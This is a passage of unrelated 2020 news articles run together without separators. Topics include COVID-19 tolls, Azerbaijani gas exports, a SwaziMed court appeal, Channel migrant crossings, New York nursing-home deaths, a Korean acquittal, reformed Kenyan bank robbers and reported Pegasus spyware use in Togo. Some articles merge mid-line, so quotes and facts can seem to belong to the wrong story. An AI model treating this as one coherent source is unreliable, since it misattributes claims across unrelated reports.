with 733,842 deaths recorded, according to an AFP tally of official sources. In yet another staggering landmark, the death toll is expected to surpass 750,000 in a matter of days as the global health crisis that began late last year in China rages on. As more things once unthinkable became harsh reality -- having to wear a facemask in touristy spots in Paris, or reserve a spot on Copacabana beach in Rio via an app and then social distance on the sand -- the World Health Organization urged people not to despair. "Behind these statistics is a great deal of pain and suffering... But I want to be clear: there are green shoots of hope," WHO chief Tedros Adhanom Ghebreyesus said. "It's never too late to turn the outbreak around," he said. He gave examples of countries that had successfully clamped down on COVID-19, such as Rwanda and New Zealand, which said Monday it plans to open a virus-free "travel bubble" with the Cook Islands. With much of the world caught in a cycle of dispiriting outbreaks and economically crushing lockdowns, all eyes are on the race for a vaccine. A WHO overview said 165 candidate vaccines are being worked on around the world, with six reaching Phase 3 of clinical evaluation. But the WHO's emergencies director Michael Ryan warned that a vaccine was "only part of the answer," pointing to polio and measles as diseases with vaccines that have not been fully eradicated. "You've got to be able to deliver that vaccine to a population that want and demand to have that vaccine," he said. - Europe feels the heat - Infections have been rising ominously in Western Europe, which has also been sweltering through a heatwave, with temperatures soaring above 35 degrees Celsius (95 F). Story continues The blistering heat sent crowds flocking to beaches at the weekend despite health warnings about the risk of infection. In the Paris region, people aged 11 and over are now required to wear masks in crowded areas and tourists hotspots. These include the banks of the Seine River and more than 100 streets in the French capital. Marion, a 24-year-old in central Paris, said the masks are "restrictive" but necessary "if we want to avoid a second wave." "Anything except a second lockdown," she added. Several French towns and cities have already introduced similar measures, as well as parts of Belgium, the Netherlands, Romania and Spain. In Berlin, thousands of children returned to school on Monday after the summer break, sporting masks, which are compulsory in common areas like school courtyards. Greece meanwhile announced a night curfew for restaurants and bars in some of its top tourist destinations after its number of new cases increased. In Italy, the coronavirus spikes of its neighbours caused alarm. "France, Spain and the Balkans... Italy is surrounded by contagions," Italian Health Minister Roberto Speranza lamented. It was a different story in Pakistan, which allowed all restaurants and parks to reopen on Monday, after the country saw a drop in new cases over several weeks. - Grim US, Brazil milestones - As of Monday evening, the United States -- the world's worst-hit country -- had recorded 163,370 deaths and 5,085,821 cases of infection, according to the tracker at Johns Hopkins University. As the caseload shot past five million on Sunday, President Donald Trump's Democratic opponent in the presidential election, Joe Biden, tweeted that the number "boggles the mind and breaks the heart." The figure came as Trump was accused of flouting the constitution by unilaterally extending a virus relief package. The package -- announced by Trump on Saturday after talks between Republican and Democrat lawmakers hit a wall -- was "absurdly unconstitutional," senior Democrat Nancy Pelosi told CNN. But with the world's largest economy still struggling to dig itself out of an enormous hole, Democrats appeared skittish about any legal challenge to a relief package they see as seriously inadequate. After the US, Brazil has the most cases, and over the weekend it became the second country to pass 100,000 fatalities. President Jair Bolsonaro has downplayed the coronavirus threat, and after Brazil's latest milestone, the country's most widely viewed TV network Globo asked: "Has the president of the republic done his duty?" burs-dl/dw/to BAKU, Azerbaijan, Aug. 11 Trend: The Southern Gas Corridor is our historic achievement, Azerbaijani President Ilham Aliyev said in an interview to Azerbaijan Television following a ceremony at Baku Deep Water Jackets Plant named after Heydar Aliyev to send a jacket of Garabakh field offshore, Trend reports. Of course, our main focus now is on completing the Southern Gas Corridor. This project is also being implemented successfully. Its fourth and last component, the TAP project, is already nearing completion. So I believe that in a matter of a few months the construction of three interconnected gas pipeline systems with a total length of 3,500 kilometers will be fully completed at the initiative of the Azerbaijani state and as a result of large-scale international cooperation, and Azerbaijani gas will be transported to Europe. Thus, the Southern Gas Corridor will be fully commissioned. This is a very important and, I think, a historic event for us, as it will pave the way for the full-field development of the Shah Deniz field, the head of state said. Azerbaijani president said that without the construction of the Southern Gas Corridor, investors would not have invested in this and any other project or would have been in doubt. For example, the exports of gas to be produced from the Absheron gas condensate field, as well as Garabagh and other fields, require a route. Therefore, the importance of the Southern Gas Corridor is not limited to the Shah Deniz project alone. Without the implementation of this project, our energy policy could have remained incomplete. But our energy policy today fully secures the interests of our country. The Shah Deniz field will provide gas to Azerbaijan and partner countries for at least another hundred years. At the same time, we intend to expand the geography of our exports. Gas from the Shah Deniz field will be delivered to Georgia, Turkey, Bulgaria, Greece and Italy. If there is a gas network in Albania, then Albania will become our natural partner we can export gas there too. It is possible to deliver Azerbaijani gas to other neighboring countries the countries of the Balkan region, the head of state said. Azerbaijani President Ilham Aliyev noted that therefore, the Southern Gas Corridor is our historic achievement, and there is little time left for its completion. I want to reiterate that the work carried out at all our fields is carried out in a focused manner. All projects complement each other. If the contract on Azeri-Chirag-Gunashli had not been signed in 1994, there would have been no question of any other project. If the contract on Shah Deniz had not been signed, we would not be able to create our energy security today, not to mention the energy security of other countries, because Shah Deniz is the main source for us. By doing all this work, we are redrawing an energy map of Eurasia. Azerbaijan will remain a strategic partner for many countries for a long time, the head of state said. MBABANE - SwaziMed is appealing the judgment in which it was ordered to pay for its members admission to the Intensive Care Unit (ICU) facilities operated by The Clinic Group. Through its attorney, Mangaliso Magagaula, SwaziMed has filed an appeal in the Supreme Court, where it raised 15 grounds of appeal. According to the appellant (SwaziMed), the learned judge allegedly erred and misconstrued his powers by deciding an issue that required expert knowledge without the evidence of a relevant expert. It was further SwaziMeds submission that the respondents (The Clinic Group) Intensive Care Unit was not accredited as an ICU by Council of Health Service Accreditation of Southern Africa (COHSASA) and there was allegedly no memorandum of understanding. Unwarranted The appellant contended that the judges decision was allegedly an unwarranted interference with the operation of an activity requiring expert knowledge. The judge erred in not holding that the requirements of accreditation and having terms and conditions of operating an ICU are necessary standards to protect the consumers and ensure quality service for the benefit of the appellants members, reads one of the grounds of appeal. The genesis of the matter is that The Clinic Group (Pty) Ltd took the Swaziland Medical Aid Fund (SwaziMed) to court following its refusal to pay for its members admission into the Intensive Care Unit (ICU) facilities operated by the group. Judge Nkosinathi Maseko, who heard and determined the matter, ordered and directed SwaziMed to permit The Clinic Group to admit into its ICU and High Care facilities its (SwaziMed) eligible members in accordance with the clinical assessment made by the attending doctor. SwaziMed was further ordered and directed to make payment in accordance with its rules to the applicant (The Clinic Group) of any and all eligible members in respect of any service provided in the ICU and High Care facilities, in accordance with that members respective benefit. In his founding affidavit, Dr Mark Mills, who is the director of The Clinic Group, informed the court that SwaziMed withheld payment of in-patient and out-patient hospital accounts from August to mid November, 2017. This was in spite of the fact that SwaziMed had accessed the claims and produced a remittance advice that could be viewed by the applicant (The Clinic Group), averred Dr Mills in the affidavit. He went on to submit that SwaziMed sent statements erroneously informing the members that their accounts had been paid. According to Dr Mills, in an attempt to resolve the impasse, the applicant sought mediation in the matter from the Federation of Swaziland Employers and Chamber of Commerce (FSE&CC), of which both parties are members. In his judgment, Judge Maseko said: Despite all the issues raised by the respondent (SwaziMed) about the so-called fraudulent claims submitted by the applicant for payment, I am of the considered view that the respondents heavy reliance on these allegations of fraud is not good enough to support its refusal to recognise the applicants ICU facility in Manzini. The judge highlighted that he said this because he saw numerous email correspondences inter parties, where The Clinic Group itself had self- corrected by making several refunds to SwaziMed for overpayment. This is in my view bona fide actions on the part of the applicant to make the refunds on their own after reconciling their accounts and realising the so-called double payments or overpayments as it were even before these could be discovered by the respondent, reads part of the judgment. Persuaded The court stated that it was, therefore, not persuaded why the issue of the alleged fraudulent account was made such a central issue by SwaziMed in its refusal to recognise the applicants ICU facility. According to Judge Maseko, this issue was rather secondary and certainly could not be treated as a primary reason entitling SwaziMed to deny The Clinic Group the right to use the facility on deserving and qualifying patients, if such facility deserved to be used. I am of the view that it is only the skill and equipment available at a given point in time that qualifies a facility to be High Care facility and an ICU facility, said Judge Maseko. The Clinic Group was represented by Advocate Patrick Flyn, who had been instructed by senior lawyer John Henwood. Have you ever heard the phrase, you arent what you think you are, youre what you think other people think you are.? In essence it means that we can see ourselves not for who we really are or even who others actually think we are, but our self awareness, our identity, perceived value and image can in fact be a delusion. Who we think other people think we are. It might not be what they are thinking at all, it may not even be the truth about us either. Generally speaking, many of us can go through life weighing ourselves through our assumption of other peoples opinions about us. What a great shame it would be to reach the end of our days and having lived a limited or defeated life in some fashion simply because we believed a lie about ourselves without even knowing it. Having constructed our self identity, our self worth based on our assumptions about what others think about us. Why would we think this way? Many do without even realising it. Its because we have learnt a fallacy through society that has been shaped by fallen nature; that the highest authority and truth about who we really are comes from other peoples opinions about us. One poignant example of this can be found in an old saying in Hollywood that; youre only as good as your last movie. Who do we think Jesus is? Taking a further step back to get as objective a view as possible on this phenomenon, as a Christian the number one question that comes to mind is: have we, in some way, done this very thing with Jesus Himself? Not that we can shape His own self image, but rather the reverse. Let me explain; what if our image of Jesus, our understanding of who He is, is in fact who WE think that He is and not who He really is at all? If that were the case that indeed would be the greatest tragedy of all; that His very own children have misunderstood and misconstrued the full picture and reality of who He truly is. How do we determine for certain whether we do believe the truth about who God really is? Did you know that when Moses asked to see the glory of God, the Lord said to him; So it shall be, while My glory passes by, that I will put you in the cleft of the rock, and will cover you with My hand while I pass by. Then I will take away My hand, and you shall see My back; but My face shall not be seen. (Exodus chapter 33 verse 22 and 23) And the Lord passed before him and proclaimed, The Lord, the Lord God, merciful and gracious, longsuffering, and abounding in goodness and truth,. (Exodus chapter 34 verse 6) This passage in Genesis clearly states that Moses himself only caught a glimpse of Gods back, not His face and most certainly not all of who God was and is. But when Jesus, God incarnate entered the scene, the apostle John wrote; For the law was given through Moses, but grace and truth came through Jesus Christ. No one has seen God at any time. The only begotten Son, who is in the bosom of the Father, He has declared Him. (John chapter 1 verses 17-18) Only Jesus shows us who God is Here there is a clear distinction; that the law came through Moses, BUT grace and TRUTH came through Jesus Christ. John goes on to emphasise with no coincidence that no one has seen God at any time referring to Moses sneak peak of Him on Mount Sinai, but only Jesus, who is in the bosom of the Father; intimately connected to the Fathers heart, can express and explain who God really is. There are many similar passages, such as Hebrews chapter one, verse three about Jesus being the exact image of God and Jesus own words to Philip in John chapter fourteen, verse nine; he who has seen Me has seen the Father, so how can you say, show us the Father?. The bottom line is that Jesus Himself, His words, actions and life lived as recounted in the four gospels are the full, complete and perfect representation of who God really is. The cat is out of the bag, theres no other picture perfect revelation of the personhood, the nature and the will of God than Jesus Christ and the example He gave to His disciples (that includes us) that is contained in the four gospels. The truth is that what we believe about Him is what we will re-present to the world around us. Are we re-presenting our version of Jesus or Jesus as He is clearly seen in the gospels? A politically correct Jesus? A sin tolerant Jesus thats likeable and palatable by the worlds standards? Let us always remember that God made man in His image. God determines what love is, not us. To fashion God in our own image, according to mans version of love, is to fashion an idol made by human hands in our own image. Let us ask ourselves this question, the very same question that Jesus asked Peter; who do you say that I am?. B oris Johnson has said the UK needs to consider changing asylum laws to deter migrants from crossing the English Channel, with hundreds arriving in the UK in recent days. The PM called making the treacherous crossing "very bad and stupid and dangerous and criminal". He said the UK needed to look at "the panoply of laws that an illegal immigrant has at his or her disposal that allow them to stay here". The PM made his comments as the UK stepped up efforts to control the arrival of the migrants, with the Government facing criticism for its handling of the situation. Speaking to reporters while visiting a school in Essex, Mr Johnson also said he hoped to work with the French to deter migrants from making the journey. He said: "Be in no doubt whats going on is the activity of cruel and criminal gangs who are risking the lives of these people taking them across the Channel, a pretty dangerous stretch of water in potentially unseaworthy vessels. We want to stop that, working with the French, make sure that they understand that this isnt a good idea, this is a very bad and stupid and dangerous and criminal thing to do. Campaigners accused the Prime Minister of using inflammatory and "inaccurate" soundbites / PA The Liberal Democrats hit out at alleged Government attempts to be "tough" on the migrants crossing the Channel, adding: "If we want to tackle this we need to provide safe legal routes which take migrants out of the hands of criminals. This must be coupled with investment in our border forces. And campaigners accused the Prime Minister of using inflammatory and "inaccurate" soundbites to describe people "in desperate circumstances". Lisa Doyle, the Refugee Councils director of advocacy, said: Its incredibly disappointing to hear the Prime Minister using such inaccurate and inflammatory language to describe men, women and children who are desperate enough to make perilous journeys across the busiest shipping channel in the world. Seeking asylum is not a crime, and it is legitimate that people have to cross borders to do so. Border Force officers assist 20 Syrian migrants aboard HMC Hunter after they were stopped as they crossed the Channel / PA Ms Doyle urged the Government to help migrants with a strong resettlement programme, humanitarian visas and reformed family reunion rules, which she said would see number of crossings decline sharply. Stephen Hale, chief executive of Refugee Action, told the Government to move on from soundbites and focus constructively on serious and long-term solutions. He added: Britain is better than this. We have a proud history of welcoming people fleeing some of the most violent and oppressive regimes in the world and we cant stop now. More than 4,000 migrants have now reached the UK so far this year across the worlds busiest shipping lane. About 600 arrived in the country between Thursday and Sunday alone. Crossings continued in the early hours of Monday morning, with an inflatable dinghy thought to be carrying more than 20 Syrians met by a Border Force patrol boat off the coast of Dover in Kent. A young family attempting to enter the UK last week / PA Home Secretary Priti Patel met Border Force staff in Dover on Monday and was seen getting off from a police boat that had been out in the Channel earlier that morning. At the same time, the Royal Air Force (RAF) dispatched a plane to survey the Channel, with the flight authorised by Defence Secretary Ben Wallace. The Home Office has now appointed a former Royal Marine to head up an operation to tackle the problem and formally requested help from the Royal Navy for help. Immigration minister Chris Philp is due to hold the latest round of talks with French counterparts in Paris on Tuesday. But a French politician warned on Monday that deploying the Royal Navy wont change anything and a former Home Office official said he was sceptical of the move. Record number of migrants cross the Channel - In pictures 1 /20 Record number of migrants cross the Channel - In pictures A Border Force vessel brings a group of men thought to be migrants into Dover PA A Border Force officer escorts a young family thought to be migrants from a Border Force vessel PA A Border Force officer escorts a family thought to be migrants from a Border Force vessel PA A Border Force officer escorts a young family thought to be migrants from a Border Force vessel PA Border Force officers escort a group of men thought to be migrants onto a waiting bus after they were brought into Dover. PA Border Force officers escort a group of men thought to be migrants onto a waiting bus after they were brought into Dover. PA A Border Force vessel brings a group of men thought to be migrants into Dover PA A Border Force vessel brings a group of men thought to be migrants into Dover PA Border Force officers escort a group of men thought to be migrants onto a waiting bus PA A Border Force vessel brings a group of men thought to be migrants into Dover PA A Border Force vessel brings a group of men thought to be migrants into Dover PA A Border Force vessel brings a group of men thought to be migrants into Dover PA A Border Force vessel brings a group of men thought to be migrants into Dover PA A Border Force officer escorts a young family thought to be migrants from a Border Force vessel PA A young girl is escorted by a Border Force officer as groups of people thought to be migrants are brought into Dover PA Calais MP Pierre-Henri Dumont told BBC Radio 4s Today programme: This is a political measure to show some kind of resource to fight against smugglers and illegal crossings in the Channel, but technically speaking that wont change anything. Asked if it might be a deterrent, he added: Yes, but thats dangerous, because if there is a vessel from the Royal Navy trying to push a vessel, very small boat full with migrants, back into French waters first you could say that youve got British vessels entering French waters, I dont know if the British Government would be very happy to see the other way, if French vessels would enter without any ask, before or without any decision before, into British waters. He said France was already doing whatever we can to intercept the boats. Former Home Office permanent secretary Sir David Normington told the programme he was a bit sceptical about using the Navy. Loading.... He said that the only solution is to work with French officials to persuade them to intensify their efforts... if it takes money to help the French increase their resources and their manpower then that will have to be done. "Theres a long history of Britain putting money into resources for the French on the French coast." Tecco Group ties up with PHILUX Global Funds to launch Luxembourg-based infrastructure fund for Vietnam PHILUX Global Funds SCA, SICAV-RAIF is a Luxembourg-based bank fund with multiple sub-fund compartments for investment in real estate, infrastructure, renewable energy, and healthcare, as well as the proposed Chu Lai Multiple Commodities Center (CMCC) and the Asia Diamond Exchange (ADE) in Chu Lai Open Economic Zone in Quang Nam province. This will be the first rough diamond exchange in Asia, comparable with diamond exchanges in Antwerp and Dubai. Besides supporting transport infrastructure, Tecco Group expects to utilise the Luxembourg infrastructure fund for a number of port, industrial zone cluster, and airport projects together with modern technologies. Huyen Duc Vu, vice chairman of Tecco Group, commented, This is the first time Vietnam has the opportunity to access international capital for infrastructure development through a Luxembourg-based bank fund, which helps respond to the overall social development demand and at the same time elevate the competitiveness of the economy. Representing Tecco Group, I am extremely pleased to cooperate with PHILUX Infrastructure Fund to capitalise on the huge potential of the infrastructure construction market in Vietnam. He added that, "The negative impact from the coronavirus pandemic has heightened pressure on the Vietnamese government in its efforts to maintain a positive growth economy, especially in the backdrop of decreasing ODA financings, failure or negative consequences of build-transfer (BT), build-operate-transfer (BOT), and public-private partnership (PPP) models, and bottlenecks in public finance funding. Therefore, I strongly believe that the launching of an infrastructure fund for Vietnam at this time is very appropriate. I am confident that the cooperation between PHILUX and TECCO will be a positive beacon for infrastructure investment projects in the near future. Henry Fahman, chairman of PHILUX Global Funds SCA, SICAV-RAIF stated, We are delighted to cooperate with Tecco Group in launching the first-ever Luxembourg-based PHILUX Infrastructure Fund for Vietnam. We look forward to utilising our combined experience and international networks to serve the needs of infrastructure development in Vietnam as well as create meaningful economic value for both companies, our shareholders, and other stakeholders. Coronavirus deaths in New York, already among the highest in the US, may actually be significantly undercounted. Riverdale Nursing Home in the New York City borough of the Bronx appears, on paper, to have escaped the worst of the coronavirus pandemic, with an official state count of just four deaths in its 146-bed facility. The truth, according to the home, is far worse: 21 dead, most transported to hospitals before they succumbed to COVID-19. It was a cascading effect, administrator Emil Fuzayov recalled. One after the other. New Yorks coronavirus death toll in nursing homes, already among the highest in the nation, could actually be a significant undercount. Unlike every other state with major outbreaks, New York only counts residents who died on nursing home property and not those who were transported to hospitals and died there. That statistic could add thousands to the states official care home death toll of just over 6,600. But so far the administration of Democratic Governor Andrew Cuomo has refused to divulge the number, leading to speculation that the state is manipulating the figures to make it appear it is doing a better job than other states and to make a tragic situation less dire. New York Governor Andrew Cuomo speaks during a COVID-19 briefing in Manhattan in New York City, New York, the US [File: Mike Segar/Reuters] Thats a problem, bro, New York State Senator Gustavo Rivera, a Democrat, told New York Health Commissioner Howard Zucker during a legislative hearing on nursing homes earlier this month. It seems, sir, that in this case you are choosing to define it differently so that you can look better. How big a difference could it make? Since May, federal regulators have required nursing homes to submit data on coronavirus deaths each week, whether or not residents died in the facility or at a hospital. Because the requirement came after the height of New Yorks outbreak, the available data is relatively small. According to the federal data, roughly a fifth of the states homes reported resident deaths from early June to mid-July a tally of 323 dead, 65 percent higher than the states count of 195 during that time period. Even if half that undercount had held true from the start of the pandemic, that would translate into thousands more nursing home resident deaths than the state has acknowledged. Another group of numbers also suggests an undercount. State health department surveys show 21,000 nursing home beds are lying empty this year, 13,000 more than expected an increase of almost double the official state nursing home death tally. While some of that increase can be attributed to fewer new admissions and people pulling their loved ones out, it suggests that many others who are not there anymore died. However flawed New Yorks count, Cuomo has not been shy about comparing it to tallies in other states. Nearly every time Cuomo is questioned about New Yorks nursing home death toll, he brushes off criticism as politically motivated and notes that his states percentage of nursing home deaths out of its overall COVID-19 death toll is around 20 percent, far less than Pennsylvanias 68 percent, Massachusettss 64 percent and New Jerseys 44 percent. Look at the basic facts where New York is versus other states, Cuomo said during a briefing Monday. You look at where New York is as a percentage of nursing home deaths, its all the way at the bottom of the list. An elderly woman is transported into an ambulance on Manhattans West Side in New York City, New York [File: Peter Foley/ EPA] In another briefing last month, Cuomo touted New Yorks percentage ranking as 35th in the nation. Go talk to 34 other states first. Go talk to the Republican states now Florida, Texas, Arizona ask them what is happening in nursing homes. Its all politics. Boston University geriatrics expert Thomas Perls said it does not make sense that nursing home resident deaths as a percentage of total deaths in many nearby states are more than triple what was reported in New York. Whatever the cause, there is no way New York could be truly at 20 percent, Perls said. A running tally by The Associated Press shows that more than 68,200 residents and staff at nursing homes and long-term facilities across the nation have died from the coronavirus, out of more than 163,000 overall deaths. For all 43 states that break out nursing home data, resident deaths make up 44 percent of total COVID-19 deaths in their states, according to data from the Kaiser Family Foundation. Assuming the same proportion held in New York, that would translate to more than 11,000 nursing home deaths. Poor data To be sure, comparing coronavirus deaths in nursing homes across states can be difficult because of the differences in how states conduct their counts. New York is among several states that include probable COVID-19 deaths as well as those confirmed by a test. Some states do not count deaths from homes where fewer than five have died. Others do not always give precise numbers, providing ranges instead. And all ultimately rely on the nursing homes themselves to provide the raw data. Everybody is doing it however they feel like doing it. We dont have very good data. Its just all over the place, all over the country, said Toby Edelman of the Center for Medicare Advocacy, a non-profit representing nursing home residents. New York health chief Zucker explained during the legislative hearing that New York only counts deaths on the nursing home property to avoid double-counting deaths in both the home and the hospital. And while he acknowledged the state keeps a running count of nursing home resident deaths at hospitals, he declined to provide even a rough estimate to lawmakers. I will not provide information that I have not ensured is absolutely accurate, Zucker said. This is too big an issue and its too serious an issue. New York is among several states that include probable COVID-19 deaths as well as those confirmed by a test. Some states do not count deaths from homes where fewer than five have died [Michael Nagle/Bloomberg] Zucker promised to provide lawmakers with the numbers as soon as that double-checking is complete. They are still waiting. The AP has also been denied access to similar nursing home death data despite filing a public records request with the state health department nearly three months ago. Dr Michael Wasserman, president of the California Association of Long Term Care Medicine, said it is unethical of New York to not break out the deaths of nursing home residents at hospitals. From an epidemiological and scientific perspective, he said, there is absolutely no reason not to count them. Cambodians are outraged by Daejeon High Court's not-guilty ruling on a murder charge for a man who had been indicted for killing his Cambodian wife in a disguised car accident. / Korea Times File By Lee Hyo-jin Cambodian residents here are furious over a recent court ruling that acquitted a Korean man of charges of killing his Cambodian wife in a "disguised" car accident in order to receive insurance benefits. A Cambodian woman in her 30s, married to a Korean living in Uijeongbu, Gyeonggi Province, said, "We are all talking about the news in our chat rooms. I cannot believe the husband was released to live on insurance benefits. Now I have grown a little suspicious that my husband asked me recently to buy life insurance." Another Cambodian immigrant in her 30s said, "I was furious and disappointed when I heard the news. We (married immigrants) are already facing hardships due to social discrimination, and this ruling shows we are not even legally protected." On Monday, the Daejeon High Court found the man in his 50s, surnamed Lee, not guilty of murdering his wife for insurance money in August 2014. The Daejeon District Court had earlier dismissed the charge against Lee. But the high court later sentenced him to life in prison. Then in May 2017, the Supreme Court ruled in his favor. Lee was arrested for intentionally causing a car accident in Cheonan, South Chungcheong Province. He rammed into a cargo truck parked on a side road of the Gyeongbu Highway near an interchange in Cheonan area, around 3:40 a.m., Aug. 23. His seven-month-pregnant Cambodian wife in the passenger seat died in the accident. It was later revealed that Lee had bought 25 insurance policies for his wife since their marriage in 2008, through which he would receive 9.5 billion won ($8,020,256) upon her death. The Daejeon High Court found him not guilty on charges of murder and insurance fraud. It only found him guilty of violating the Act on Traffic Accidents, and sentenced him to two years. The court ruled that tiredness was the cause of the car accident. Judge Huh Yong-seok stated, "There is not enough evidence to prove clear motivation for murder. As Lee was not going through economic hardships at that time, insurance claims are not seen as a motivation." The Embassy of Cambodia in Seoul said it plans to report the case to its headquarters back home. "We have been monitoring this case thoroughly. As this is a sensitive case which has effected both Cambodian and Korean public opinion, we have been discussing it closely with civil organizations and lawyers," an embassy official told The Korea Times. The Gujarat government on Tuesday said a judicial inquiry will be conducted by a retired judge of the high court into the fire at Shrey Hospital here in which eight COVID-19 patients were killed. The decision was taken after a Gujarat government- appointed two-member inquiry committee, comprising senior IAS officers, submitted its report to the state government on Monday. "Chief Minister Vijay Rupani has decided that a retired high court judge will probe the fire incident at Shrey Hospital so that no person responsible for it goes scot-free, a release issued by the state government said. The retired judge for the probe will be appointed at a later stage, it said. Rupani earlier ordered a preliminary inquiry in the case by a two-member committee, comprising state Additional Chief Secretary (Home) Sangeeta Singh and ACS (Urban Development) Mukesh Puri. In their report submitted on Monday, they said the primary cause of the fire was short-circuit in a medical equipment, which spread in the hospital's Intensive Care Unit (ICU) in next three minutes. The report said this was an accidental case of fire. On August 6, eight patients died in the blaze in the ICU ward of Shrey Hospital in Navrangpura area of the city. The fire broke out around 3.30 am on the top floor of the four-storey hospital, a designated facility for treatment of COVID-19 patients. A para-medical staff member of the hospital was injured in the incident. Shrey Hospital was one of the 60-odd private medical facilities authorised by the Ahmedabad Municipal Corporation to admit and treat coronavirus patients. After the incident, nearly 40 COVID-19 patients, who were undergoing treatment in the hospital's general ward, were shifted to the civic-run Sardar Vallabhbhai Patel Hospital. Also read: COVID-19 outbreak: Ban on flights to Kolkata from 6 cities extended till August 31 Prime Minister Narendra Modi, during a video conference with chief ministers of 10 key states, discussed the COVID-19 situation and further course of action as part of unlocking the country amid coronavirus outbreak. These 10 states have a high population density and the PM will discuss the strategy being adopted by them to bring down the COVID-19 numbers. Those present at the virtual meeting were Uttar Pradesh CM Yogi Adityanath, West Bengal CM Mamata Banerjee, Punjab CM Amarinder Singh, Maharashtra CM Uddhav Thackeray, Gujarat CM Vijay Rupani, Tamil Nadu CM EK Palaniswami, Bihar CM Nitish Kumar, and Telangana CM K Chandrasekhar Rao. Union Defence Minister Rajnath Singh also attended the meeting. The meeting comes a day after PM Modi held talks with CMs of six states, including Assam, Bihar, Uttar Pradesh, Maharashtra, Karnataka and Kerala, which have been badly affected by the floods and landslides. Today's meeting between the PM and the CMs is crucial since the government may allow more activities to reopen in the days to come. The government on July 30 issued guidelines for the next stage of unlocking, under which gyms and yoga centres were allowed to open but schools, colleges, metro rail service, cinema halls and bars will be kept shut till August 31. On August 3, the government issued new guidelines on preventive measures to contain the spread of COVID-19 in gymnasiums and yoga centres from August 5. Meanwhile, India has recorded a single-day spike of 53,601 cases and 871 deaths in the last 24 hours. The COVID-19 tally has now risen to 22,68,676, including 6,39,929 active cases, 15,83,490 recoveries and 45,257 deaths, says the latest Ministry of Health data. In total, India has around 28.21 per cent active cases, 69.80 per cent cured and 1.99 per cent deaths, the government data suggests. Also read: Coronavirus update: India records 53,601 new cases in 24 hours, death toll reaches 45,257 Support Local News We show up at hurricanes, budget meetings, high school games, accidents, fires and community events. We show up at celebrations and tragedies and everything in between. We show up so our readers can learn about pivotal events that affect their communities and their lives. How important is local news to you? You can support independent, unbiased journalism and help iBerkshires grow for as a little as the cost of a cup of coffee a week. Former bank robber turned writer, John Kiriamiti, and his former accomplice, George Githenji, say their life in crime was all in vain despite executing more than 100 successful heists. Speaking to the Daily Nation in Muranga County, Githenji, 75, revealed the highest amount he ever made in a single heist. The highest figure I pocketed in one heist more than 40 years ago was Sh200,000 and the least was Sh120,000. That was equivalent to todays Sh2 million and Sh1.2 million, he said. Kiriamiti added: And we are not talking of one heist or even 10. We are talking of robbers who had perfected the art with time and executed more than 100 raids. The pair said they squandered their proceeds on alcohol, women and entertaining their friends. Within 10 minutes, I would have earned Sh200, 000 from a successful bank heist. And within 10 minutes, I would spend at least 50, 000 in the sin industry, Githenji said. Worked in Cahoots With Cops The reformed gangsters also revealed that they worked in cahoots with police to carry out the robberies. Ours was a world of its kind. Then, violent robbery was not the business of desperate and deranged teens. It was professional work like any other but done by daredevils. We took our time and visited the target scenes to draw an entry and escape strategy. But we had to first seek the nod of officers so they would look the other way when we hit, said Githenji. The officers would also help them acquire guns for as little as Sh200 per day. The rule was that you collect it in the morning and make sure you return it by close of business since the armoury had to be inspected. That is why banks had to be robbed in broad daylight, recounted Githenji. Kiriamiti recounted once incident where a chief inspector manning central division in Nairobi lent them three guns but things went South. A fierce gunfight ensued that resulted in us commandeering a police vehicle so as to try and return the guns in time, said Mr Kiriamiti, adding that all the gangsters knew each other. He also disclosed that the unwritten rule then was never kill, rape or defile your victims. If it leaked that a criminal had, especially raped or defiled, the verdict was death to be executed by getting shot in the head. Married An Officer The gangsters also recruited beautiful women to befriend police officers notorious for investigating armed robberies. Mr Githenji even married an officer, who in 1971 found that he was a criminal and arrested him in their bedroom. She just stumbled on my firearm hidden in the house and some money. She used the same gun to force me to surrender, warning that if I tried any monkey business, I would lose my life, he recounted. He tried to play nice, hoping that she would drop her guard so he could escape, but she was dead serious. Githenji said it was an interesting journey to Makadar police station having being arrested by his wife. Kiriamiti added that there had another rule they abided by; That a smart thug never engages police in an unnecessary gunfight. Anytime officers got us flatfooted, we would hurriedly tuck away our arms and immediately seek ways to negotiate for freedom, which sometimes included surrendering all the loot to them and we walk away as unpaid robbers for the officers! All in Vain When Mr Githenji and Mr Kiriamiti retired, they walked into a new life with no wealth, only memories of their escapades. Kiriamiti served 13 years while Githenji served 17 years for robbery with violence. Githenji is now a farmer, having tried his hand in politics while Kiriamiti is an author behind bestsellers, My Life in Crime, Son of Fate, My Life with a Criminal. Their advice to active criminals and crime enthusiast: Forget it. It is all in vain. Ask us and for free we will tell you that you will only waste your precious time for nothing, said Mr Kiriamiti. Today, you will be lucky to raid three times before you are either dead under a hail of police bullets, crude weapons from mobs or sink away into jail. Additional Reporting by Daily Nation A Togolese civil society coalition on Wednesday accused the government of spying on the public after it was reported that six critics of President Faure Gnassingbe, including Catholic leaders, had been victims of a hacking campaign. According to an investigation published on Monday by the French daily Le Monde and Britain's Guardian newspaper, individuals in Togo were alerted by WhatsApp last year that their mobile phones had been targeted in a spyware attack. "We are in a police state that uses and abuses espionage against its own citizens," David Dosseh, spokesman for the FCTD, an umbrella organisation of civil society groups, told AFP. Quoting from a lawsuit filed by WhatsApp against the Israeli firm NSO Group, the newspapers said 1,400 users around the world had been targeted by a sophisticated eavesdropping tool called Pegasus. According to details in the lawsuit, the technology would have potentially given access to emails, texts and images, and could also have been used for recording by remotely operating a phone's camera and microphone. In Togo, the software was reportedly used against opponents, civil society activists and Catholic clerics, including the president of the Togolese Bishops' Conference, Benoit Alowonou, who is known for his activism. Elliott Ohin, a former government minister who is in the opposition party, and Raymond Houndjo, a close associate of a leading opposition politician were also named in the report. The investigation "confirms and provides material evidence of a situation that many suspected," said Dosseh. "Many Togolese are afraid of being followed, especially spied on, when they are members of civil society or opponents," he said. Gnassingbe, who was re-elected this year for a fourth term, has led the country of eight million people since taking over in 2005 after the death of his father Gnassingbe Eyadema, who ruled with an iron fist for 38 years. The government, contacted by AFP, did not comment on the international investigation, which also found targets of the attacks included journalists in India and Morocco, political activists from Rwanda and Catalan separatist politicians in Spain. "Faure Gnassingbe's regime exceeds all the limits of political decency," Nathaniel Olympio, president of the opposition Togolese People's Party, told AFP. "Weapons intended to fight terrorism have been turned against opponents, clerics and human rights defenders," he said. Individuals were alerted by WhatsApp last year that their mobile phones had been targeted with spying technology Togo Let figures and the market show housing prices have stabilized President Moon Jae-in got it right when he prioritized housing as his administration's top issue in a senior secretariat meeting at Cheong Wa Dae, Monday. The President replaced three of his senior secretaries amid controversy over ownership of multiple homes, as he vowed to realize "residential justice." He may also be right when he said that South Korea's property taxes, while having increased, are still lower than other advanced countries. Whether it is a correct assessment, or wishful thinking, when he 